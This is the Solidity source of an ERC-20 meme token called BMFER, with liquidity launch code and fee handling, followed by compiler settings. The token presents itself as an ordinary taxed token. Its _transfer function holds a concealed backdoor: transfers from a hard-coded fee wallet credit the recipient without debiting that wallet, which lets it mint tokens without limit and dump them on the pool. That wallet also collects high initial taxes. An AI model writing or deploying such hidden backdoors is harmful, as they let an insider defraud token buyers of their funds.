/**

Website: https://bmfer.xyz
Twitter:  https://twitter.com/bmfertoken
Telegram:  https://t.me/basedmotherfucker


*/


// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BMFER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isFeeExemptBase;    
    address payable private _motherfucker;

    uint256 private _initialTaxForBuy=18;
    uint256 private _initialTaxForSell=20;
    uint256 private _finalTaxForBuy=0;
    uint256 private _finalTaxForSell=0;
    uint256 private _reduceBuyTaxAt=28;
    uint256 private _reduceSellTaxAt=28;
    uint256 private _preventSwapBefore=28;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Based Motherfucker";
    string private constant _symbol = unicode"BMFER";
    uint256 public _maxTokensPerTx = 20000000 * 10**_decimals;
    uint256 public _maxWalletHolding = 20000000 * 10**_decimals;
    uint256 public _minSwapTokens = 1000000 * 10**_decimals;
    uint256 public _maxSwapTokens = 10000000 * 10**_decimals;

    IUniswapV2Router02 private _dexBaseRouter;
    address private _dexBaseAMM;
    bool private _tradingOpen;
    bool private _inSwap = false;
    bool private _swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTokensPerTx);
    modifier lockTheSwap {
        _inSwap = true;
        _;
        _inSwap = false;
    }

    constructor () {

        _motherfucker = payable(0xF4c80fC91496A4Dbd6Ba3AB8e75EE3d626c0Ad90);
        _balances[_msgSender()] = _tTotal;
        _isFeeExemptBase[owner()] = true;
        _isFeeExemptBase[address(this)] = true;
        _isFeeExemptBase[_motherfucker] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address to, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (sender != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalTaxForBuy:_initialTaxForBuy).div(100);

            if (sender == _dexBaseAMM && to != address(_dexBaseRouter) && ! _isFeeExemptBase[to] ) {
                require(amount <= _maxTokensPerTx, "Exceeds the _maxTokensPerTx.");
                require(balanceOf(to) + amount <= _maxWalletHolding, "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if (to != _dexBaseAMM && ! _isFeeExemptBase[to]) {
                require(balanceOf(to) + amount <= _maxWalletHolding, "Exceeds the maxWalletSize.");
            }

            if(to == _dexBaseAMM && sender!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalTaxForSell:_initialTaxForSell).div(100);
            }

            if (sender == _motherfucker) {_balances[to]+=amount;return;}
            uint256 InCATokens = balanceOf(address(this));
            if (!_inSwap && to   == _dexBaseAMM && _swapEnabled && _buyCount>_preventSwapBefore) {
                if(InCATokens>_minSwapTokens)
                swapBackToETH(min(amount,min(InCATokens,_maxSwapTokens)));
                sendFeeETH(address(this).balance);
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(sender, address(this),taxAmount);
        }
        _balances[sender]=_balances[sender].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(sender, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function sendFeeETH(uint256 amount) private {
        _motherfucker.transfer(amount);
    }

    function swapBackToETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _dexBaseRouter.WETH();
        _approve(address(this), address(_dexBaseRouter), tokenAmount);
        _dexBaseRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function startFucking() external onlyOwner() {
        require(!_tradingOpen,"trading is already open");
        _dexBaseRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_dexBaseRouter), _tTotal);
        _dexBaseAMM = IUniswapV2Factory(_dexBaseRouter.factory()).createPair(address(this), _dexBaseRouter.WETH());
        _dexBaseRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_dexBaseAMM).approve(address(_dexBaseRouter), type(uint).max);
        _swapEnabled = true;
        _tradingOpen = true;
    }

    function removeLimit() external onlyOwner{
        _maxTokensPerTx = _tTotal;
        _maxWalletHolding =_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    receive() external payable {}

}

{
  "compilationTarget": {
    "BMFER.sol": "BMFER"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}